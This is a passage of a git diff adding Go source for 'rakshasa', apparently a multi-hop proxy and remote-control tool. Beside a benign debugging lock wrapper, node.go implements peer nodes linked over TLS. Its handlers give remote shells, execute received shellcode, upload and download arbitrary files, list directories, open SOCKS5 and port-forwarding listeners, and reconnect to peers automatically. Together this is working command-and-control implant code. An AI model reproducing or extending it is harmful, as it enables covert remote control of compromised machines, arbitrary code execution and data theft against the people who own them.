req.addheader(line, k) + } + } + } else { + + j += i + 2 + + if l-j < clen { + return 0, nil, nil + } + req.body = append(req.body, data[j:j+clen]...) + //req.body = append(req.body, data[s:s+clen]...) + //req.rawdata = append(req.rawdata, data[:j+clen]...) + return j + clen, req.body, nil + + } + + } + + return 0, nil, nil +} diff --git a/server/lock.go b/server/lock.go new file mode 100644 index 0000000..ca3b2ee --- /dev/null +++ b/server/lock.go @@ -0,0 +1,95 @@ +package server + +//封装一下易于调试的lock +import ( + "fmt" + "rakshasa/common" + "runtime" + "strconv" + "sync" + "sync/atomic" +) + +type lock struct { + l sync.RWMutex +} +type unlock struct { + key string + l *sync.RWMutex +} + +func (l *lock) Lock(old ...*unlock) *unlock { + u := &unlock{l: &l.l} + if len(old) == 1 { + u = old[0] + } + if common.DebugLock { + + _, file, line, _ := runtime.Caller(1) + key := file + "行" + strconv.Itoa(line) + u.key = key + + var n *int32 + if v, ok := common.DebugLockMap.Load(key); ok { + n = v.(*int32) + } else { + a := int32(0) + n = &a + common.DebugLockMap.Store(key, n) + } + atomic.AddInt32(n, 1) + } + + l.l.Lock() + return u +} +func (l *lock) RLock(old ...*unlock) *unlock { + u := &unlock{l: &l.l} + if len(old) == 1 { + u = old[0] + } + if common.DebugLock { + + _, file, line, _ := runtime.Caller(1) + key := file + "行" + strconv.Itoa(line) + u.key = key + var n *int32 + if v, ok := common.DebugLockMap.Load(key); ok { + n = v.(*int32) + } else { + a := int32(0) + n = &a + common.DebugLockMap.Store(key, n) + } + atomic.AddInt32(n, 1) + } + + l.l.RLock() + return u +} +func (l *unlock) Unlock() { + if common.DebugLock { + if v, ok := common.DebugLockMap.Load(l.key); ok { + atomic.AddInt32(v.(*int32), -1) + } else { + panic("") + } + } + l.l.Unlock() +} +func (l *unlock) RUnlock() { + if common.DebugLock { + if v, ok := common.DebugLockMap.Load(l.key); ok { + atomic.AddInt32(v.(*int32), -1) + } else { + panic("") + } + } + l.l.RUnlock() +} +func printLock() { + common.DebugLockMap.Range(func(key, value interface{}) bool { + fmt.Println(key, *value.(*int32)) + return true + }) +} diff --git a/server/node.go b/server/node.go new file mode 100644 index 0000000..881769c --- /dev/null +++ b/server/node.go @@ -0,0 +1,1379 @@ +package server + +import ( + "bytes" + "crypto/tls" + "encoding/json" + "errors" + "fmt" + uuid2 "github.com/google/uuid" + "io" + "io/ioutil" + "math/rand" + "net" + "os" + "rakshasa/cert" + "rakshasa/common" + "runtime" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + "unsafe" +) + +var ( + currentNode = &node{uuid: uuid2.New().String()} + clientLock = &lock{} + nodeMap = make(map[string]*node) + upLevelNode []*node //上游节点 + upNodeWrite = make(chan []byte, 999) + extNodeIp []string + connMap sync.Map +) + +func InitCurrentNode() { + s := unsafe.Sizeof(uintptr(1)) + bit := " x32" + if s == 8 { + bit = " x64" + } + rand.Seed(time.Now().Unix()) + currentNode.hostName, _ = os.Hostname() + if ip, _ := common.ExternalIP(); ip != nil { + currentNode.addr = ip.String() + } + currentNode.goos = runtime.GOOS + bit + currentNode.mirrorNode = &node{ + id: currentNode.id, + uuid: currentNode.uuid, + hostName: currentNode.hostName, + goos: currentNode.goos, + addr: currentNode.addr, + } + currentNode.mirrorNode.mirrorNode = currentNode + nodeMap[currentNode.uuid] = currentNode + //fmt.Println("当前节点UUID", currentNode.uuid) + go func() { + for b := range upNodeWrite { + for { + ok := func() bool { + + l := clientLock.Lock() + defer l.Unlock() + + if len(upLevelNode) == 0 { + return false + } + upLevelNode[0].conn.tlsWrite(b) + return true + }() + if ok { + break + } + time.Sleep(time.Second) + } + + } + }() + nodeTickPing() + time.AfterFunc(time.Second*10, checkUpLevelNode) +} +func checkUpLevelNode() { + + if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 { + + //尝试重新连接节点 + for _, addr := range currentConfig.DstNode { + connectNew(addr) + } + if len(upLevelNode) == 0 { + //尝试连接其他节点 + if !currentConfig.Limit { + for _, addr := range extNodeIp { + if common.Debug { + fmt.Println("连接extNodeIp", addr) + } + + connectNew(addr) + if len(upLevelNode) > 0 { + return + } + } + func() { + + l := clientLock.RLock() + defer l.RUnlock() + + for _, n := range nodeMap { + if n.uuid != currentNode.uuid { + func() { + + l.RUnlock() + defer clientLock.RLock(l) + + if len(n.mainIp) == 0 { + if common.Debug { + fmt.Println("连接n.addr", fmt.Sprintf("%s:%d", n.addr, n.port)) + } + connectNew(fmt.Sprintf("%s:%d", n.addr, n.port)) + } + }() + if len(upLevelNode) > 0 { + return + } + } + } + }() + + } + } + + } + time.AfterFunc(time.Second*5, checkUpLevelNode) +} +func nodeTickPing() { + + l := clientLock.RLock() + defer l.RUnlock() + + now := time.Now().Unix() + for _, n := range nodeMap { + if n.uuid != currentNode.uuid { + for _, ip := range n.mainIp { + if ip != "" { + addr1 := fmt.Sprintf("%s:%d", ip, n.port) + find := false + for _, addr2 := range extNodeIp { + if addr1 == addr2 { + find = true + break + } + } + if !find { + extNodeIp = append(extNodeIp, addr1) + } + } + + } + if n.nextPingTime == 0 { + go n.ping(0) + n.nextPingTime = now + 10 + rand.Int63n(10) + } else if n.nextPingTime < now { + go n.ping(0) + n.nextPingTime = now + 30 + rand.Int63n(30) + } + + } + + } + time.AfterFunc(time.Second*1, nodeTickPing) +} + +// 节点 +type node struct { + id int + uuid string + hostName string + goos string + addr string + connMap sync.Map + udpConnMap sync.Map + listenMap sync.Map //client端会存入clientListen,server存入serverListen + shellMap sync.Map + queryMap sync.Map + conn *Conn + pingTime, pongTime int64 + mainIp []string + port int + listen net.Listener + nextPingTime int64 + + waitMsg []*common.Msg //需要等待处理的消息 + mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动 +} +type nodeMsg struct { + UUID string + HostName string + Addr string + MainIp []string + Port int + Goos string +} + +func connectNew(addr string) (n *node, e error) { + config := cert.Tlsconfig.Clone() + + conn, err := tls.Dial("tcp", addr, config) + if err != nil { + return nil, err + } + + c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()} + connMap.Store(c.remoteAddr, conn) + c.regResult = make(chan error, 1) + c.regResultNode = make(chan *node, 1) + c.handle() + c.reg() + defer func() { + if c.node != nil { + + l := clientLock.Lock() + find := false + for _, n := range upLevelNode { + if n.uuid == c.node.uuid { + find = true + } + } + if !find { + upLevelNode = append(upLevelNode, c.node) + } + + l.Unlock() + + resChan := make(chan interface{}, 1) + id := c.node.storeQuery(resChan) + + c.node.Write(common.CMD_GET_NODE, id, []byte{0}) + + select { + case <-resChan: + c.node.deleteQuery(id) + c.node.broadcastNode() + case <-time.After(common.CMD_TIMEOUT): + c.node.deleteQuery(id) + c.node.Close("") + e = errors.New("time out") + } + + } + }() + select { + case err = <-c.regResult: + return nil, err + case n = <-c.regResultNode: + return n, err + case <-time.After(time.Second * 10): + return nil, errors.New("time out") + } + +} + +func (n *node) Write(option uint8, id uint32, b []byte) { + msg := common.Msg{ + From: currentNode.uuid, + To: n.uuid, + CmdOpteion: option, + CmdId: id, + CmdData: b, + } + if n.uuid == currentNode.uuid { + n.mirrorNode.do(&msg) + } else { + if n.conn != nil { + n.conn.OutChan <- msg.Marshal() + } else { + upNodeWrite <- msg.Marshal() + } + } + +} +func (n *node) WriteMsg(msg *common.Msg) { + if n.conn != nil { + n.conn.OutChan <- msg.Marshal() + } else { + upNodeWrite <- msg.Marshal() + } +} +func (n *node) do(msg *common.Msg) { + + if common.Debug { + fmt.Println("client收到", common.CmdToName[msg.CmdOpteion]) + } + var err error + //fmt.Println(common.CmdToName[msg.CmdOpteion]) + switch msg.CmdOpteion { + case common.CMD_CONNECT_BYIDADDR: + + conn := &serverConnect{} + + conn.node = n + conn.id = msg.CmdId + conn.write = make(chan *bytes.Buffer, 64) + conn.close = 0 + conn.windowsSize = 0 + conn.wait = make(chan int) + n.connMap.Store(conn.id, conn) + addr := string(msg.CmdData[1:]) + + switch common.NetWork(msg.CmdData[0]) { + case common.SOCKS5_CMD_CONNECT: + conn.address = addr + go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr) + case common.SOCKS5_CMD_UDP: + go conn.doHandleUdp() + case common.RAW_TCP: + go conn.doConnectTcp(common.RAW_TCP, addr) + case common.RAW_TCP_WITH_PROXY: + go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr) + case common.SOCKS5_CMD_BIND: + _l, err := net.Listen("tcp", addr) + if err != nil { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + return + } + + l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId} + + n.connMap.Delete(conn.id) + l.socks5Replay = make([]byte, len(msg.CmdData)) + copy(l.socks5Replay, msg.CmdData) + n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay) + n.listenMap.Store(l.id, l) + go l.Lisen() + } + case common.CMD_CONNECT_BYIDADDR_RESULT: + + if v, ok := n.connMap.Load(msg.CmdId); ok { + if conn, ok := v.(common.Conn); ok { + conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...)) + } + } + case common.CMD_CONN_MSG: + + v, ok1 := n.connMap.Load(msg.CmdId) + conn, ok2 := v.(common.Conn) + if !ok1 || !ok2 { + n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil) + return + } + conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...)) + case common.CMD_DELETE_CONNID: + v, ok := n.connMap.Load(msg.CmdId) + if ok { + if conn, ok2 := v.(common.Conn); ok2 { + conn.Close("对方节点要求关闭") + } else { + n.connMap.Delete(msg.CmdId) + } + + } + + case common.CMD_WINDOWS_UPDATE: + v, ok := n.connMap.Load(msg.CmdId) + if ok { + conn := v.(*serverConnect) + windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56 + if windows_update_size > 0 { + old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size + if old < 0 { + go func() { + select { + case conn.wait <- common.CONN_STATUS_OK: + case <-time.After(time.Second): + } + }() + } + } + + } else { + n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil) + } + + case common.CMD_REG: + func() { + l := clientLock.Lock() + defer l.Unlock() + + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + if err != nil { + regmsg.Err = err.Error() + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REG_RESULT, 0, b) + return + } + uuid := regmsg.UUID + if uuid == currentNode.uuid { + regmsg.Err = "不能连接自己" + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REG_RESULT, 0, b) + return + } + + n.addr = regmsg.Addr + n.hostName = regmsg.Hostname + n.mainIp = regmsg.MainIp + n.port = regmsg.Port + n.goos = regmsg.Goos + + resultMsg := regmsg + resultMsg.Addr = currentNode.addr + resultMsg.UUID = currentNode.uuid + resultMsg.Hostname = currentNode.hostName + resultMsg.MainIp = currentNode.mainIp + resultMsg.Port = currentNode.port + resultMsg.Goos = currentNode.goos + + b, _ := json.Marshal(resultMsg) + //返回成功结果 + n.Write(common.CMD_REG_RESULT, 0, b) + //储存节点 + n.uuid = uuid + if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 { + n.conn.node = n + nodeMap[regmsg.UUID] = n + n.broadcastNode() + } + + }() + case common.CMD_REG_RESULT: + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + + if err != nil { + select { + case n.conn.regResult <- err: + default: + } + return + } + + if regmsg.Err != "" { + select { + case n.conn.regResult <- errors.New(regmsg.Err): + + default: + } + return + } + + //fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr) + l := clientLock.Lock() + + n.uuid = regmsg.UUID + n.addr = regmsg.Addr + n.hostName = regmsg.Hostname + n.goos = regmsg.Goos + + workconn := n.conn + n.mainIp = regmsg.MainIp + n.port = regmsg.Port + if v, ok := nodeMap[regmsg.UUID]; ok { + if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 { + n.uuid = "" //清空uuid避免正常的node被删 + n.conn.Close("重复注册") //当前的连接关掉 + n.conn = v.conn + v.mainIp = regmsg.MainIp + v.port = regmsg.Port + n = v + } else { + n.conn.node = n + } + + } else { + n.conn.node = n + } + nodeMap[n.uuid] = n + l.Unlock() + + select { + case workconn.regResultNode <- n: + + default: + } + + //回复节点 + n.writeGetNodeResult(msg.CmdId) + + case common.CMD_REMOTE_REG: + + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + if currentConfig.Limit { + regmsg.Err = "node is in limit mode" + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b) + return + } + if err == nil { + var node *node + node, err = connectNew(regmsg.RegAddr) + if err == nil { + + regmsg.UUID = node.uuid + regmsg.Hostname = node.hostName + regmsg.ViaUUID = currentNode.uuid + regmsg.MainIp = currentNode.mainIp + regmsg.Port = currentNode.port + regmsg.Goos = currentNode.goos + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b) + } + } + if err != nil { + regmsg.Err = err.Error() + b, _ := json.Marshal(regmsg) + n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b) + } + case common.CMD_REMOTE_REG_RESULT: + var regmsg common.RegMsg + err = json.Unmarshal(msg.CmdData, ®msg) + v, ok := n.loadQuery(msg.CmdId) + if !ok { + return + } + if err != nil { + v <- err + return + } + if regmsg.Err != "" { + v <- errors.New(regmsg.Err) + return + } + l := clientLock.Lock() + + n.uuid = regmsg.UUID + n.addr = regmsg.Addr + n.hostName = regmsg.Hostname + n.goos = regmsg.Goos + n.mainIp = regmsg.MainIp + n.port = regmsg.Port + if v, ok := nodeMap[regmsg.UUID]; !ok { + n.conn.node = n + } else { + if v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 { + n.conn.close <- "" //当前的连接关掉 + n.conn = v.conn + v.mainIp = regmsg.MainIp + v.port = regmsg.Port + } else { + n.conn.node = n + } + + } + nodeMap[n.uuid] = n + l.Unlock() + //fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr) + n.writeGetNodeResult(msg.CmdId) + n.broadcastNode() + case common.CMD_PING: + n.Write(common.CMD_PONG, msg.CmdId, msg.CmdData) + case common.CMD_NONE: + + case common.CMD_PONG: + pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56 + + if pingTime != n.pingTime { + return + } + n.pongTime = time.Now().Unix() + if v, ok := n.loadQuery(msg.CmdId); ok { + select { + case v <- struct{}{}: + default: + } + + } + case common.CMD_CONN_UDP_MSG: + + _, ok := n.connMap.Load(msg.CmdId) + + if ok { + + var conn common.Conn + id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24 + if v2, ok := n.connMap.Load(id); ok { + conn = v2.(common.Conn) + } else { + var ip string + switch msg.CmdData[4] { + case 1: + ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10])) + + case 3: + case 4: + } + udpconn := &serverConnect{} + udpconn.conn, err = net.Dial("udp", ip) + if err != nil { + return + } + udpconn.node = n + udpconn.id = id + udpconn.write = make(chan *bytes.Buffer, 64) + udpconn.close = 0 + udpconn.windowsSize = 0 + udpconn.wait = make(chan int) + + n.connMap.Store(udpconn.id, udpconn) + go udpconn.handUdpReceive() + conn = udpconn + } + switch msg.CmdData[4] { + case 1: + conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...)) + + } + + } + case common.CMD_LISTEN: + + //fmt.Println("listen", string(data[common.Headlen+4:])) + _l, err := net.Listen("tcp", string(msg.CmdData)) + if err != nil { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + return + } else { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1}) + } + l := &serverListen{listen: _l, node: n, id: msg.CmdId} + n.listenMap.Store(msg.CmdId, l) + + go l.Lisen() + case common.CMD_REMOTE_SOCKS5: + + cfg, err := common.ParseAddr(string(msg.CmdData)) + if err != nil { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + return + } + l := &serverListen{node: n, id: msg.CmdId} + l.listen, err = StartSocks5WithServer(cfg, n, l.id) + if err != nil { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + return + } else { + n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1}) + } + + n.listenMap.Store(l.id, l) + + case common.CMD_LISTEN_RESULT: + + if v, ok := currentNode.listenMap.Load(msg.CmdId); ok { + if c, ok := v.(*clientListen); ok { + if msg.CmdData[0] == 0 { + select { + case c.result <- errors.New(string(msg.CmdData[1:])): + default: + } + + } else { + select { + case c.result <- nil: + default: + } + + } + + } + } + + case common.CMD_DELETE_LISTEN: + if v, ok := n.listenMap.Load(msg.CmdId); ok { + switch s := v.(type) { + case *serverListen: + s.Close(remoteClose) + case *clientListen: + s.Close(remoteClose) + } + + } + n.listenMap.Delete(msg.CmdId) + case common.CMD_DELETE_LISTENCONN_BYID: + deleteId := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24 + if v, ok := n.listenMap.Load(msg.CmdId); ok { + if s, ok := v.(*serverListen); ok { + conn, ok := s.connMap.Load(deleteId) + if ok { + conn.(*serverConnect).Close(remoteClose) + s.connMap.Delete(deleteId) + } + + } + + } + + case common.CMD_PWD: + pwd, _ := os.Getwd() + n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd)) + case common.CMD_PWD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + select { + case v <- string(msg.CmdData): + default: + } + + } + case common.CMD_GET_NODE: + n.writeGetNodeResult(msg.CmdId) + case common.CMD_GET_NODE_RESULT: + l := clientLock.Lock() + defer l.Unlock() + + var s []nodeMsg + err = json.Unmarshal(msg.CmdData, &s) + if err == nil { + for _, _n := range s { + if _n.UUID != currentNode.uuid { + if v, ok := nodeMap[_n.UUID]; !ok { + nodeMap[_n.UUID] = newNode(_n, n) + } else { + v.hostName = _n.HostName + v.mainIp = _n.MainIp + v.port = _n.Port + if _n.Addr != "" { + v.addr = _n.Addr + } + } + + } + + } + } + v, ok := n.loadQuery(msg.CmdId) + if ok { + //通知已更新列表 + select { + case v <- err: + default: + } + } + case common.CMD_GET_CURRENT_NODE: + nmsg := nodeMsg{ + UUID: currentNode.uuid, + HostName: currentNode.hostName, + Addr: currentNode.addr, + MainIp: currentNode.mainIp, + Port: currentNode.port, + Goos: currentNode.goos, + } + b, _ := json.Marshal(nmsg) + n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b) + + case common.CMD_ADD_NODE: + var nmsg nodeMsg + err = json.Unmarshal(msg.CmdData, &nmsg) + + if err != nil { + return + } + + l := clientLock.Lock() + defer l.Unlock() + + if v, ok := nodeMap[nmsg.UUID]; !ok { + + _n := newNode(nmsg, n) + nodeMap[nmsg.UUID] = _n + + } else if nmsg.UUID != currentNode.uuid { + v.port = nmsg.Port + v.mainIp = nmsg.MainIp + v.hostName = nmsg.HostName + v.goos = nmsg.Goos + if nmsg.Addr != "" { + v.addr = nmsg.Addr + } + } + case common.CMD_DIR: + + dirPth := string(msg.CmdData) + dir, err := ioutil.ReadDir(dirPth) + if err != nil { + n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败")) + return + } + var s []string + var maxlen int + var hasdir string + for _, fi := range dir { + if len(fi.Name()) > maxlen { + maxlen = len(fi.Name()) + } + if fi.IsDir() { + hasdir = " " + } + } + for _, fi := range dir { + var p string + name := bytes.Repeat([]byte(" "), maxlen) + copy(name, fi.Name()) + if fi.IsDir() { // 忽略目录 + p = " " + string(name) + } else { + p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10) + } + s = append(s, p) + } + n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n"))) + + case common.CMD_DIR_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + select { + case v <- string(msg.CmdData): + default: + } + + } + + case common.CMD_CD: + dirPth := string(msg.CmdData) + s, err := os.Stat(dirPth) + if err != nil { + n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + return + } + if s.IsDir() { + n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...)) + } else { + n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...)) + } + case common.CMD_CD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + if msg.CmdData[0] == 0 { + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + } else { + select { + case v <- string(msg.CmdData[1:]): + default: + } + } + } + + case common.CMD_CONNECT_BYID: + var l *clientListen + if v, ok := currentNode.listenMap.Load(msg.CmdId); ok { + l, _ = v.(*clientListen) + } + if l == nil { + n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, nil) + return + } + //l := clientLock.Lock() + //b := clientListenMap[id] + //l.Unlock() + conn, err := net.Dial("tcp", l.localAddr) + if err != nil { + n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, msg.CmdData) + return + } + client := &clientConnect{} + client.id = uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24 + + client.server = l.server + client.listenId = msg.CmdId + client.conn = conn + client.OnOpened() + + l.connMap.Store(client.id, client) + l.server.connMap.Store(client.id, client) + go rawHandleLocal(client) + case common.CMD_PING_LISTEN: + if _, ok := n.listenMap.Load(msg.CmdId); !ok { + //通知客户端服务器listen不存在 + n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0}) + } + + case common.CMD_PING_LISTEN_RESULT: + if value, ok := n.listenMap.Load(msg.CmdId); ok { + switch v := value.(type) { + case *clientListen: + n.Write(v.openOption, v.id, v.openMsg) + go func() { + select { + case res := <-v.result: + if err, ok := res.(error); ok { + v.Close(err.Error()) + } + case <-time.After(common.CMD_TIMEOUT): + + v.Close("listen time out") + + } + }() + case *serverListen: + v.Close(remoteClose) + } + } + case common.CMD_UPLOAD: + i := bytes.IndexByte(msg.CmdData, 0) + if i == -1 { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...)) + return + } + file := string(msg.CmdData[:i]) + offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56 + var f *os.File + + if offset == 0 { + f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666) + } else { + f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666) + } + if err != nil { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...)) + return + } + defer f.Close() + f.Seek(offset, 0) + num, err := f.Write(msg.CmdData[i+9:]) + if err != nil { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...)) + return + } + if num != len(msg.CmdData[i+9:]) { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...)) + return + } + s, err := os.Stat(file) + if err == nil { + n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)}) + } + + case common.CMD_UPLOAD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + if msg.CmdData[0] == 0 { + + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + } else { + size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56 + select { + case v <- size: + default: + } + } + + } + case common.CMD_DOWNLOAD: + i := bytes.IndexByte(msg.CmdData, 0) + file := string(msg.CmdData[:i]) + offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56 + var size int64 + if offset == -1 { + s, err := os.Stat(file) + if err != nil { + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...)) + return + } + if s.IsDir() { + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...)) + return + } + size = s.Size() + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)}) + } + f, err := os.Open(file) + if err != nil { + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...)) + return + } + defer f.Close() + f.Seek(offset, 0) + + for i := 0; i < 10; i++ { + buf := make([]byte, common.MAX_PACKAGE-1) + num, err := f.Read(buf) + if err != nil { + if err == io.EOF { + + return + } + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...)) + return + } + n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...)) + } + case common.CMD_DOWNLOAD_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + switch msg.CmdData[0] { + case 0: + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + case 1: + size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56 + select { + case v <- size: + default: + } + case 2: + select { + case v <- msg.CmdData[1:]: + default: + } + } + } + case common.CMD_SHELL: + var param StartCmdParam + if err = json.Unmarshal(msg.CmdData, ¶m); err != nil { + n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + } + if err := startCMD(n, msg.CmdId, param); err != nil { + n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...)) + } + case common.CMD_SHELL_RESULT: + + if v, ok := n.loadQuery(msg.CmdId); ok { + + if msg.CmdData[0] == 0 { + select { + case v <- errors.New(string(msg.CmdData[1:])): + default: + } + } else { + select { + case v <- msg.CmdData[1:]: + + default: + } + + } + } + + case common.CMD_SHELL_DATA: + + if v, ok := n.shellMap.Load(msg.CmdId); ok { + cmd := v.(*remoteCmd) + select { + case cmd.inChan <- msg.CmdData: + default: + } + } + case common.CMD_RUN_SHELLCODE: + go func() { + var s ShellCodeStruct + err = json.Unmarshal(msg.CmdData, &s) + + if err != nil { + n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error())) + } + err = doShellcode(s) + if err != nil { + n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error())) + } else { + n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil) + } + }() + + case common.CMD_RUN_SHELLCODE_RESULT: + if v, ok := n.loadQuery(msg.CmdId); ok { + var err error + if len(msg.CmdData) > 0 { + err = errors.New(string(msg.CmdData)) + } + + select { + case v <- err: + default: + } + } + default: + if common.Debug { + fmt.Println(msg.CmdOpteion, "协议错误") + } + + n.conn.Close("协议错误") + + } +} +func (n *node) remoteReg(addr string) (newN *node, err error) { + regmsg := common.RegMsg{ + Addr: currentNode.addr, + RegAddr: addr, + UUID: currentNode.uuid, + MainIp: currentNode.mainIp, + Port: currentNode.port, + Goos: currentNode.goos, + } + regmsg.Hostname, _ = os.Hostname() + b, _ := json.Marshal(regmsg) + resChan := make(chan interface{}, 1) + id := n.storeQuery(resChan) + n.Write(common.CMD_REMOTE_REG, id, b) + select { + case i := <-resChan: + n.deleteQuery(id) + if v, ok := i.(error); ok { + return nil, v + } + if v, ok := i.(*node); ok { + return v, nil + } + + case <-time.After(common.CMD_TIMEOUT): + 